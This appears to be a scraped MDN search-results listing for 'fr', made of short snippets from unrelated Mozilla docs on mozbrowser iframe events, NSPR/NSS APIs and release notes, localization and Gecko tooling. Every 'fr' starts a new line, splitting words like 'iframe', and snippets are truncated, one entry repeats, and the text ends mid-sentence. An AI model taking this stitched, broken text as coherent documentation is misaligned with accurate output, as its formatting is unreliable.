fr=moz2 if the user clicks the magnifying glass icon in the search bar, or chooses the web search option in the tools menu when the search bar isn't visible, the browser will take them to http://search.yahoo.com/, the value of the <searchform> element.
Debugging a hang on OS X (Archived)
creating the sample on mac os x 10.5 (xcode < 4.2) when the application is still hung, open up spin control.app (it’s in your <tt>/developer/applications/performance tools/</tt> folder; if it is missing, install the latest computer hardware understanding development (chud) tools
from apple).
... creating the sample on mac os x 10.4 when the application is still hung, open up sampler.app (it’s in your <tt>/developer/applications/performance tools/</tt> folder; if it is missing, install the latest computer hardware understanding development (chud) tools
from apple.).
... select "firefox-bin" or the hung application you want a sample
from.
Updating NSPR or NSS in mozilla-central
the nspr and nss sources in mozilla-central are maintained by the nspr and nss teams and always taken
from exports of hg tags.
... nss must be upgraded to a new static tag, follow this procedure: before starting, make sure your local repository is updated to mozilla-central tip and that there are no local changes: $ hg status -mard pull the new sources $ python client.py update_nspr nspr_tag_name or $ python client.py update_nss nss_tag_name if you update a branch older than mozilla 17 (without the change
from bug 782784), you must manually add a dummy change (add or remove a blank line) to force a rebuild of nspr: mozilla/nsprpub/config/prdepend.h or nss: mozilla/security/nss/coreconf/coreconf.dep check directory mozilla/nsprpub/patches/ for patches that need to be applied to nspr, and directory mozilla/security/patches/ for patches that need to be applied to nss.
...if a patch is no longer needed, remove the patch
from the directory and update the readme file.
Windows SDK versions
mozilla,
from time to time, might support building against multiple versions of the windows sdk as a compatibility/transitional measure.
...windows 8 sdk (official) features that depend on this sdk include: metro firefox
front end gamepad api support you can download the sdk
from the microsoft download center [web setup].
... windows 7 sdk features that depend on this sdk include: windows 7 taskbar previews windows 7 download taskbar progress windows 7 jump lists you can download the sdk (v7.0 [web setup or iso image] or unsupported v7.1 [web setup or iso image])
from the microsoft download center.
Gecko Logging
a minimal c++ logging
framework is provided for use in core gecko code.
... logging
framework declaring a log module lazylogmodule defers the creation the backing logmodule in a thread-safe manner and is the preferred method to declare a log module.
... it is common for debug and trace to be disabled at compile time in release builds, so you may need a debug build if you want logs
from those levels.
Firefox and the "about" protocol
ol about:downloads displays all downloads done within firefox about:home start page of firefox when opening a new window about:license displays licensing information about:logo firefox logo about:memory provides a way to display memory usage, save it as report and run the gc and cc about:mozilla special page showing a message
from "the book of mozilla" about:networking displays networking information about:newtab start page when opening a new tab about:performance displays memory and performance information about firefox subprocesses/add-ons/tabs about:plugins displays information about installed plugins about:policies lists out the firefox for enterprise polici...
...see firefox reader view for clutter-
free web pages about:rights displays rights information about:robots special page showing notes about robots about:serviceworkers displays currently running service workers about:studies lists the shield studies that are installed about:sessionrestore session restoration (displayed after a firefox crash) about:support troublesho...
...attempts to navigate through window.location will throw — error: access to 'about:addons'
from script denied.
mozbrowseractivitydone
the mozbrowseractivitydone event is fired when something inside the browser <i
frame> triggers a web activity, and that web activity's message is consumed by the receiving app.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... examples var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowseractivitydone", function(event) { if(event.details.success) { console.log('activity completed successfully'); } else { console.log('activity not completed successfully'); } }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mo...
mozbrowseraudioplaybackchange
the mozbrowseraudioplaybackchange event is fired when audio starts or stops playing within a browser <i
frame>.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... examples var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowseraudioplaybackchange", function(event) { console.log(event.details); }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserclose
the mozbrowserclose event is fired when the content of a browser <i
frame> calls the window.close() method.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... example var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowserclose", function() { console.log("browser window has been closed; i
frame will be destroyed."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserdocumentfirstpaint
the mozbrowserdocumentfirstpaint event is fired when a new paint occurs on any document in the browser <i
frame>.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... example var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowserdocumentfirstpaint", function() { console.log("first content painted."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowsererror
the mozbrowsererror event is fired when an error occurs while trying to load content within a browser <i
frame>.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
...errupt nettimeout cspblocked phishingblocked malwareblocked unwantedblocked offline malformeduri redirectloop unknownsockettype netreset notcached isprinting deniedportaccess proxyresolvefailure proxyconnectfailure contentencodingfailure remotexul unsafecontenttype corruptedcontenterror certerror other example var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowsererror", function( event ) { console.log("an error occurred:" + event.detail); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozb...
mozbrowserfirstpaint
the mozbrowserfirstpaint event is fired when the <i
frame> paints content for the first time (this doesn't include the initial paint
from about:blank).
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... example var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowserfirstpaint", function(event) { console.log("first content painted."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserloadstart
the mozbrowserloadstart event is fired when the browser <i
frame> starts to load a new page.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... var browser = document.queryselector("i
frame"); browser.addeventlistener('mozbrowserloadstart',function() { stopreload.textcontent = 'x'; }); browser.addeventlistener('mozbrowserloadend',function() { stopreload.textcontent = 'r'; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserlocationchange mozbrowseropenwindow mozbrowsersec...
mozbrowserlocationchange
the mozbrowserlocationchange event is fired when a browser <i
frame>'s location changes — it is fired every time navigation occurs.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... var browser = document.queryselector("i
frame"); browser.addeventlistener('mozbrowserlocationchange', function (event) { urlbar.value = event.detail.url; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandp...
mozbrowsermanifestchange
the mozbrowsermanifestchange event is fired when the manifest location of the app loaded in the browser <i
frame> changes.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... example var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowsermanifestchange", function(event) { console.log("new manifest url: " + event.details.href); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitl...
mozbrowsertitlechange
the mozbrowsertitlechange event is fired when the title of a browser <i
frame> (i.e.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... example var browser = document.queryselector("i
frame"); browser.addeventlistener("mozbrowsertitlechange", function( event ) { console.log("the title of the document is:" + event.detail); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowserusernameandpasswordrequired ...
mozbrowserusernameandpasswordrequired
the mozbrowserusernameandpasswordrequired event is fired when the content within a browser <i
frame> requires an http authentification.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... example var browser = document.queryselector("i
frame[mozbrowser]"); browser.addeventlistener("mozbrowserusernameandpasswordrequired", function( event ) { console.log("the auth realm is:" + event.detail.realm); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychang...
ChromeWorker
examples of chromeworker's using js-ctypes are availabe on github and are linked to
from the see also section below.
... setsubstitution('my-cool-addon', fileuri); var worker = new worker('resource://my-cool-addon/worker.js'); more references: you can use chromeworker
from javascript code modules.
... see also using web workers using workers in javascript code modules worker sharedworker web workers specification workerglobalscope github :: chromeworker - a fully working demo addon using js-ctypes
from a chrome worker.
Roll your own browser: An embedding how-to
ns_initembedding() must be called
from the main thread of your application, otherwise it won't work.
...uses gtkmozembed widget, part of the kdebindings module and available
from http://websvn.kde.org/trunk/kde/kdebindings/xparts/.
...camino uses cocoazilla, a variant of fizzilla that consists of a unix back end wed to a cocoa
front end.
Integrated Authentication
configuration by default, mozilla rejects all spnego challenges
from a web server.
... this is to protect the user
from the possibility of dns-spoofing being used to stage a man-in-the-middle exploit (see bug 17578 for more info).
...so, it is paramount that the browser does not
freely exchange ntlm user credentials with any server that requests them.
AddonInstall
sourceuri nsiuri the uri that the add-on is being installed
from.
... file nsifile the file that the add-on is being installed
from.
... this may be null if the add-on is coming
from the internet and has yet to be downloaded.
Assert.jsm
undefined throws( block, expected, message ); parameters block function block to evaluate and catch eventual thrown errors expected test reference to evaluate against the thrown result
from block message short explanation of the expected result rejects() expected to reject a promise.
... promise rejects( promise, expected, message ); parameters promise promise promise to wait for rejection and catch eventual thrown errors expected test reference to evaluate against the thrown result
from block message short explanation of the expected result greater() the greater than assertion tests two numbers with the > operator.
... undefined report( failed, actual, expected, message, operator ); parameters failed indicates if the assertion failed or not actual the result of evaluating the assertion expected expected result
from the test author message short explanation of the expected result operator operation qualifier used by the assertion method (ex: '==') examples custom reporter example components.utils.import("resource://testing-common/assert.jsm"); let assert = new assert(); assert.setreporter(function customreporter(err, message, stack) { if (err) { do_report_result(false, err.message, err.stac...
AsyncShutdown.jsm
typically, each shutdown phase removes some capabilities
from the application.
...if, for some reason, promise is never resolved/rejected, firefox will crash during shutdown to avoid blocking system shutdown, preventing the user
from restarting firefox or burning through a battery.
... // execute this code during profilebeforechange // no specific guarantee about completion of profilebeforechange }); if the promise returned by condition is not resolved/rejected within one minute, the process will crash to avoid blocking system shutdown, preventing the user
from restarting firefox or burning through battery.
DownloadList
remove() removes a download
from the list.
... ondownloadremoved: optional this function is called with a single download argument, after the download is removed
from the list.
...removefinished() removes downloads
from the list that have finished, have failed, or have been canceled without keeping partial data.
JavaScript OS.Constants
using os.constants
from the main thread to initialize os.constants for use in the main thread, add the following snippet to your code: components.classes["@mozilla.org/net/osfileconstantsservice;1"].
... init();
from a chrome worker no initialization is required.
...useful, for instance, to access the platform code
from javascript in conjunction with js-ctypes.
PerfMeasurement.jsm
note: the perfmeasurement.jsm javascript code module can only be used
from chrome -- that is,
from within the application itself or an add-on.
... cpu_migrations uint64 the number of times the profiled thread migrated
from one cpu core to another.
... variable type description eventsmeasured eventmask a bit mask of the event types recorded; this can differ
from the events requested if the platform doesn't support all of the event types you specified when creating the perfmeasurement object.
Promise
rejected, if an error prevented the final value
from being determined.
... promise catch( function onreject ); the following calls are therefore identical: p.then(undefined, logerror); p.catch(logerror); debugging by design, the instant state and value of a promise cannot be inspected synchronously
from code, without calling the then() method.
... to help with debugging, only when inspecting a promise object manually, you can see more information as special properties that are inaccessible
from code (this, at present, is implemented by randomizing the property name, for the lack of more sophisticated language or debugger support).
SourceMap.jsm
the url root
from which all sources are relative.
... sourcemapgenerator.prototype.addmapping(mapping) add a single mapping
from original source line and column to the generated source's line and column for this source map being created.
...useful for trimming whitespace
from the end of a source node, etc.
Task.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/task.jsm"); introduction for an introduction to tasks, you may start
from the task.js documentation, keeping in mind that only the core subset is implemented in this module.
...; throw new task.result("value"); } note: if you want to exit early
from a generator function, without returning a value for the task, you can just use the return statement without any arguments.
... note: if you want to return a result
from a non-legacy generator function, don't use this.
L10n Checks
the easiest way is to just run: $ hg clone http://hg.mozilla.org/users/akalla_aviary.pl/silme-patched/ $ cd silme-patched/ $ sudo python setup.py install or, if you're on windows: $ hg clone http://hg.mozilla.org/users/akalla_aviary.pl/silme-patched/ $ cd silme-patched/ $ python setup.py install running it mercurial source (source) mode l10n checks gathers the directories to compare
from an ini file, usually found in $app/locales/l10n.ini.
...if you want to test the localization for de, run: check-l10n-completeness browser/locales/l10n.ini ../l10n/ de add-ons (xpi) mode l10n checks gathers the locales to compare
from the chrome.manifest file inside the xpi file.
...ab-cd browser chrome/browser browser.dtd +backforwardmenu.tooltip +fullzoomenlargecmd.commandkey3 +fullzoomreducecmd.commandkey2 +fullzoomresetcmd.commandkey2 +organizebookmarks.label -showallbookmarkscmd2.label migration/migration.dtd -import
fromfile.accesskey -import
fromfile.label +import
fromhtmlfile.accesskey +import
fromhtmlfile.label you can assume changed strings when you see entities removed and added with a similar name.
Mozilla Content Localized in Your Language
you are
free to add, edit, remove, and localize everything in this section according to how the localization team for your language agrees.
... ex: most asian countries start
from big to small: [country] [postal code][state/province][city][district][street number and name][building and suite numbers][addressee] countries of european languages start
from small to big: [addressee][street number and name][building and suite numbers][district][city][state/province][postal code][country] name convention what are the order of family name and given name in your language.
... here is the guideline on the naming convention
from w3c.org: new terminology what is your localization team's process for identifying and creating new terminology?
Localizing extension metadata on addons.mozilla.org
they are volunteer translators
from all over the world and are maintaining translations for more than 400 extensions with an online translation system.
... amazon mechanical turk this is not
free, but for a very modest amount of money you can get your amo page quickly translated by native speakers.
...here is a list of the codes: arabic (ar), catalan (ca), czech (cs), danish (da), german (de), greek (el), basque (eu), spanish (es-es), farsi (fa), finnish (fi),
french (
fr), gaeilge (ga-ie), hebrew (he), hungarian (hu), indonesian (id), italian (it), japanese (ja), korean (ko), mongolian (mn), dutch (nl), polish (pl), brazilian portuguese (pt-br), european portuguese (pt-pt), romanian (ro), russian (ru), slovakian (sk), albanian (sq), swedish (sv-se), ukrainian (uk), vietnamese (vi), chinese (zh-cn) and taiwanese (zh-tw).
Translation phase
the l10n tools are meant to help you maintain your localized content
from release to release and leverage already localized materials when localizing new content.
... these are the l10n tools we use to localize mozilla applications: pootle a user-
friendly web portal built on the translate toolkit api.
...read the guidelines on localizing amo, straight
from the amo team.
Localization quick start guide
we will take you through the steps to get started,
from the initial environment setup to testing and releasing your own localization.
... when we get to specific examples, we'll take them
from the firefox project, as it is the most widely localized project within mozilla.
...to get the big picture, we suggest you start with the green bubble and move
from stage to stage.
Localization formats
.lang files provide some features that differentiate it
from gettext: .lang is not dependent on php/.po library, so if our webdev team sets up a site without gettext support, we still have .lang.
...the
french content runs three lines: msgid "certificate_intro" msgstr "" "merci de nous avoir aidé à établir ce record du monde !
...l tools to update this site (if you use the actual english strings in msgids, not unique identifier strings like certificate_intro) very established with a large set of powerful tools harder to screw things up because existing tools will not allow localizers to edit the l10n file where they shouldn't separates localizable strings available for localizers for the rest of the code, protecting it
from unintended changes disadvantage of gettext .po file needs to be compiled into a .mo file for localizer to see changes using regular diff to see changes to a file is sometimes impossible because the editing tool can save the .po file using a completely different structure or order of entities.
Writing localizable code
this will more likely be a good key name, and it will help tools to pick up that the change you do is different
from just a spell fix.
...if you want to add build processing to localized files, be sure to request feedback
from l10n@.
... l10n impact on
frozen trees, there is the rule to not check in l10n-impact changes.
Fonts for Mozilla's MathML engine
double-click the latinmodern-math font file click the "install the font" button
from the window that opens.
... open the stixmath-regular font file and click the "install the font" button
from the window that opens.
... linux install the latin modern math, stix or xits fonts, which are generally available
from your package manager.
Updates
this page is not maintained
frequently.
...feel
free to complete and improve it!
...mozilla 1.0 features full support for html 4.0, xml 1.0, resource description
framework (rdf), cascading style sheets level 1 (css1), and the w3c document object model level 1 (dom1) [...] as well as support for display of mathematical equations using mathml." december 7, 2001 status report october 2000 the first international mathml conference april 14, 2000 status report february 12, 2000 mathml-enabled m13 builds for win32 september 21, 1999 mathml has landed.
Mozilla Development Strategies
when you land your bug-
free code, it's qa's job to assure others that it's really bug
free.
... here's how to create a branch:
from your linux or mac os x box: # start
from your trunk tree on your local disk cd mozilla find .
...-name cvs | xargs -l -p10 cvs tag -b -l my_branch_tag > & ../taglog2.txt
from your windows box: cvs co -r my_branch_tag mozilla/client.mak cd mozilla edit client.mak, putting my_branch_tag in the right places.
JS::PerfMeasurement
otal memory bus cycles ::page_faults .page_faults total page-fault exceptions fielded by the os ::major_page_faults .major_page_faults page faults that required disk access ::context_switches .context_switches context switches involving the profiled thread ::cpu_migrations .cpu_migrations migrations of the profiled thread
from one cpu core to another these events map directly to "generic events" in the linux 2.6.31+ <linux/perf_event.h> interface, and so unfortunately are a little vague in their specification; for instance, we can't tell you exactly which level of cache you get misses for if you measure cache_misses.
... counter values are accumulated across many start/stop cycles, and you can modify their values if you want; stop simply adds counts read back
from the os to whatever is already in each counter.
... all presently-measurable events are measured with counters, not timers; that is, there is no defined relation between the numbers you get
from this interface, and wall-clock time.
Preference reference
ing_disabledthe preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often visited pages for fast navigation.browser.search.context.loadinbackgroundbrowser.search.context.loadinbackground controls whether a search
from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the background.browser.urlbar.formatting.enabledthe preference browser.urlbar.formatting.enabled controls whether the domain name including the top level domain is highlighted in the address bar by coloring it bl...
...ack and the other parts grey.browser.urlbar.trimurlsthe preference browser.urlbar.trimurls controls whether the protocol http and the trailing slash behind domain name (if the open page is exactly the domain name) are hidden.dom.event.clipboardevents.enableddom.event.clipboardevents.enabled lets websites get notifications if the user copies, pastes, or cuts something
from a web page, and it lets them know which part of the page had been selected.
...by default, the reader mode in firefox mobile is only enabled if the memory is greater than 384mb.ui.alertnotificationoriginui.alertnotificationorigin controls the position and direction
from which popup notifications invoked by nsialertsservice are sliding in.ui.spellcheckerunderlineui.spellcheckerunderline holds the colour which is used to underline words not recognized by the spellchecker.ui.spellcheckerunderlinestyleui.spellcheckerunderlinestyle holds the style which is used to underline words not recognized by the spellchecker.ui.textselectbackgroundui.textselectbackground save...
Emscripten
generated
from c/c++ using clang, or
from another language) and compiles that into javascript, which can be run on the web.
... emscripten makes native code immediately available on the web: a platform that is standards-based, has numerous independent compatible implementations, and runs everywhere
from pcs to ipads.
... practically any portable c or c++ codebase can be compiled into javascript using emscripten, ranging
from high performance games that need to render graphics, play sounds, and load and process files, through to application
frameworks like qt.
Nonblocking IO In NSPR
once associated with an i/o completion port, we can't disassociate the socket
from the i/o completion port.
...the potentially-blocking io functions include <tt>pr_connect()</tt>, <tt>pr_accept()</tt>, <tt>pr_acceptread()</tt>, <tt>pr_read()</tt>, <tt>pr_write()</tt>, <tt>pr_writev()</tt>, <tt>pr_recv()</tt>, <tt>pr_send()</tt>, <tt>pr_recv
from()</tt>, <tt>pr_sendto()</tt>, and <tt>pr_transmitfile(),</tt> and do not include <tt>pr_bind()</tt> and <tt>pr_listen()</tt>.
... differences
from blocking io in nonblocking mode, the timeout argument for the io functions is ignored.
Optimizing Applications For NSPR
multiplatform do not call any blocking system call
from a local thread.
...therefore, if you call a blocking system call
from the primordial thread, it is going to block more than just the primordial thread and the system may not function correctly.
...do not call blocking system calls
from the primordial thread.
Dynamic Library Linking
library linking types these data types are defined for dynamic library linking: prlibrary prstaticlinktable library linking functions the library linking functions are: pr_setlibrarypath pr_getlibrarypath pr_getlibraryname pr_
freelibraryname pr_loadlibrary pr_unloadlibrary pr_findsymbol pr_findsymbolandlibrary finding symbols defined in the main executable program pr_loadlibrary cannot open a handle that references the main executable program.
... dynamic library search path exporting symbols
from the main executable program dynamic library search path the dynamic library search path is the list of directories in which to look for a dynamic library.
... exporting symbols
from the main executable program on some systems, symbols defined in the main executable program are not exported by default.
I/O Functions
list of functions: pr_openudpsocket pr_newudpsocket pr_opentcpsocket pr_newtcpsocket pr_importtcpsocket pr_connect pr_connectcontinue pr_accept pr_bind pr_listen pr_shutdown pr_recv pr_send pr_recv
from pr_sendto pr_transmitfile pr_acceptread pr_getsockname pr_getpeername pr_getsocketoption pr_setsocketoption converting between host and network addresses pr_ntohs pr_ntohl pr_htons pr_htonl pr_familyinet memory-mapped i/o functions the memory-mapped i/o functions allow sections of a file to be mapped to memory regions, allowing read-write accesses to the file to be accomplish...
...you cannot read
from or write to a pollable event.
... a layer can be pushed onto or popped
from an existing stack of layers.
PL_HashTableAdd
if an entry with the same key already exists in the table, the
freeentry function is invoked with the ht_
free_value flag.
... you can write your
freeentry function to
free the value of the specified entry if the old value should be
freed.
... the default
freeentry function does not
free the value of the entry.
PL_HashTableDestroy
frees the table and all the entries.
... description pl_hashtabledestroy
frees all the entries in the table and the table itself.
... the entries are
freed by the
freeentry function (with the ht_
free_entry flag) in the allocops structure supplied when the table was created.
PL_HashTableRemove
removes the entry with the specified key
from the hash table.
... syntax #include <plhash.h> prbool pl_hashtableremove( plhashtable *ht, const void *key); parameters the function has the following parameters: ht a pointer to the hash table
from which to remove the entry.
...if the entry exists, pl_hashtableremove removes the entry
from the table, invokes
freeentry with the ht_
free_entry flag to
frees the entry, and returns pr_true.
PRTimeParameters
the prtimeparameters structure represents the local time zone information in terms of the offset (in seconds)
from gmt.
... the overall offset is broken into two components: tp_gmt_offset the offset of the local standard time
from gmt.
... tp_dst_offset if daylight savings time (dst) is in effect, the dst adjustment
from the local standard time.
PR_EnumerateHostEnt
evaluates each of the possible addresses of a prhostent structure, acquired
from pr_gethostbyname or pr_gethostbyaddr.
...to continue an enumeration (thereby getting successive addresses
from the host entry structure), the value should be set to the function's last returned value.
... hostent a pointer to a prhostent structure obtained
from pr_gethostbyname or pr_gethostbyaddr.
PR_Initialize
returning
from prmain leads to termination of the process.
... argc the length of the argument vector, whether passed in
from the host's program-launching facility or fabricated by the actual main program.
... returns the value returned
from the root function, prmain.
Threads
each thread is an execution entity that is scheduled independently
from other threads in the same process.
...a thread is created by an explicit client request and remains a valid, independent execution entity until it returns
from its root function or the process abnormally terminates.
... pr_detachthread disassociates a prthread object
from a native thread.
HTTP delegation
or you might choose to leverage an existing http client library and implement the callback functions as a thin layer that forwards requests
from nss to the http client library.
...the application must support both strategies.) the logical http server session object is expected to remain valid until explicitly destroyed (sec_httpserver_
freesessionfcn).
...once the http response has been obtained
from the http server, the function will provide the results in its "out parameters".
HTTP delegation
or you might choose to leverage an existing http client library and implement the callback functions as a thin layer that forwards requests
from nss to the http client library.
...the application must support both strategies.) the logical http server session object is expected to remain valid until explicitly destroyed (sec_httpserver_
freesessionfcn).
...once the http response has been obtained
from the http server, the function will provide the results in its "out parameters".
4.3 Release Notes
source tarballs are available
from https://archive.mozilla.org/pub/security/jss/releases/jss_4_3_rtm/src/jss-4.3.tar.bz2 binary releases are no longer available on mozilla.
...in general, a jss jar file must be used with the jss shared library
from the exact same release.
... to obtain the version info
from the jar file use, "system.out.println(org.mozilla.jss.cryptomanager.jar_jss_version)" and to check the shared library: strings libjss4.so | grep -i header feedback bugs discovered should be reported by filing a bug report with bugzilla.
NSS 3.16.1 release notes
in secmod.h secmod_internaltopubmechflags - converts
from nss-internal to public representation of mechanism flags.
... new types in sslt.h ssl_padding_xtn - the value of this enum constant changed
from the experimental value 35655 to the iana-assigned value 21.
... notable changes in nss 3.16.1 imposed name constraints on the
french government root ca anssi (dciss).
NSS 3.19.2 release notes
notable changes in nss 3.19.2 bug 1172128 - in nss 3.19.1, the minimum key sizes that the
freebl cryptographic implementation (part of the softoken cryptographic module used by default by nss) was willing to generate or use was increased - for rsa keys, to 512 bits, and for dh keys, 1023 bits.
... in nss 3.19.2, this change in
freebl behaviour has been reverted.
... note: future versions of nss may increase the minimum keysizes required by the
freebl module.
NSS 3.20 release notes
nss embeds fixed dhe parameters sized 2048, 3072, 4096, 6144 and 8192 bits, which were copied
from version 08 of the internet-draft "negotiated finite field diffie-hellman ephemeral parameters for tls", appendix a.
...in future versions of the tls implementation, a tls client might show a preference for certain dhe parameters, and the nss tls server side implementation might select a matching entry
from the set of parameters that have been configured as preferred on the server side.
...each time this api is called for the first time in a process, a
fresh set of weak dhe parameters will be randomly created, which may take a long amount of time.
NSS 3.23 release notes
this gives them access to the version downgrade protection
from tls 1.3.
...a:7f:c9:f6:67 cn = netlock uzleti (class b) tanusitvanykiado sha-256 fingerprint: 39:df:7b:68:2b:7b:93:8f:84:71:54:81:cc:de:8d:60:d8:f2:2e:c5:98:87:7d:0a:aa:c1:2b:59:18:2b:03:12 cn = netlock expressz (class c) tanusitvanykiado sha-256 fingerprint: 0b:5e:ed:4e:84:64:03:cf:55:e0:65:84:84:40:ed:2a:82:75:8b:f5:b9:aa:1f:25:3d:46:13:cf:a0:80:ff:3f
friendly name: verisign class 1 public pca – g2 sha-256 fingerprint: 34:1d:e9:8b:13:92:ab:f7:f4:ab:90:a9:60:cf:25:d4:bd:6e:c6:5b:9a:51:ce:6e:d0:67:d0:0e:c7:ce:9b:7f
friendly name: verisign class 3 public pca sha-256 fingerprint: a4:b6:b3:99:6f:c2:f3:06:b3:fd:86:81:bd:63:41:3d:8c:50:09:cc:4f:a3:29:c2:cc:f0:e2:fa:1b:14:03:05
friendly name: verisign class 3...
... bugs fixed in nss 3.23 this bugzilla query returns all the bugs fixed in nss 3.23: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.23 acknowledgements the nss development team would like to thank security researcher
francis gabriel for responsibly disclosing the issue in bug 1245528.
NSS 3.31 release notes
in pk11pub.h pk11_findcert
fromuri - find a certificate identified by the given uri.
... pk11_findcerts
fromuri - find a list of certificates identified by the given uri.
... in pkcs11uri.h pk11uri_createuri - create a new pk11uri object
from a set of attributes.
NSS 3.46 release notes
bugs fixed in nss 3.46 bug 1572164 - don't unnecessarily
free session in nsc_wrapkey bug 1574220 - improve controls after errors in tstcln, selfserv and vfyserv cmds bug 1550636 - upgrade sqlite in nss to a 2019 version bug 1572593 - reset advertised extensions in ssl_constructextensions bug 1415118 - nss build with ./build.sh --enable-libpkix fails bug 1539788 - add length checks for cryptographic primitives (cve-2019-17006) bug 1542077 - mp_set_ul...
...ong and mp_set_int should return errors on bad values bug 1572791 - read out-of-bounds in der_decodetimechoice_util
from sslexp_delegatecredential bug 1560593 - cleanup.sh script does not set error exit code for tests that "failed with core" bug 1566601 - add wycheproof test vectors for aes-kw bug 1571316 - curve25519_32.c:280: undefined reference to `pr_assert' when building nss 3.45 on armhf-linux bug 1516593 - client to generate new random during renegotiation bug 1563258 - fips.sh fails due to non-existent "resp" directories bug 1561598 - remove -wmaybe-uninitialized warning in pqg.c bug 1560806 - increase softoken password max size to 500 characters bug 1568776 - output paths relative to repository in nss coverity bug 1453408 - modutil -changepw fails in fips mode if password ...
...for delegated credentials bug 1493916 - fix ppc64 inline assembler for clang bug 1561588 - remove -wmaybe-uninitialized warning in p7env.c bug 1561548 - remove -wmaybe-uninitialized warning in pkix_pl_ldapdefaultclient.c bug 1512605 - incorrect alert description after unencrypted finished msg bug 1564715 - read /proc/cpuinfo when at_hwcap2 returns 0 bug 1532194 - remove or fix -ddebug_$user
from make builds bug 1565577 - visual studio's cl.exe -?
NSS 3.50 release notes
notable changes in nss 3.50 verified primitives
from hacl* were updated, bringing performance improvements for several platforms.
...nss 3.49.1 sped up pbkdf2 operations, though pbkdf1 operations are also relevant for older nss databases (also included in nss 3.49.2) bug 1608895 - gyp builds on taskcluster broken by setuptools v45.0.0 (for lacking python3) bug 1574643 - upgrade hacl* verified implementations of chacha20, poly1305, and 64-bit curve25519 bug 1608327 - two problems with neon-specific code in
freebl bug 1575843 - detect aarch64 cpu features on
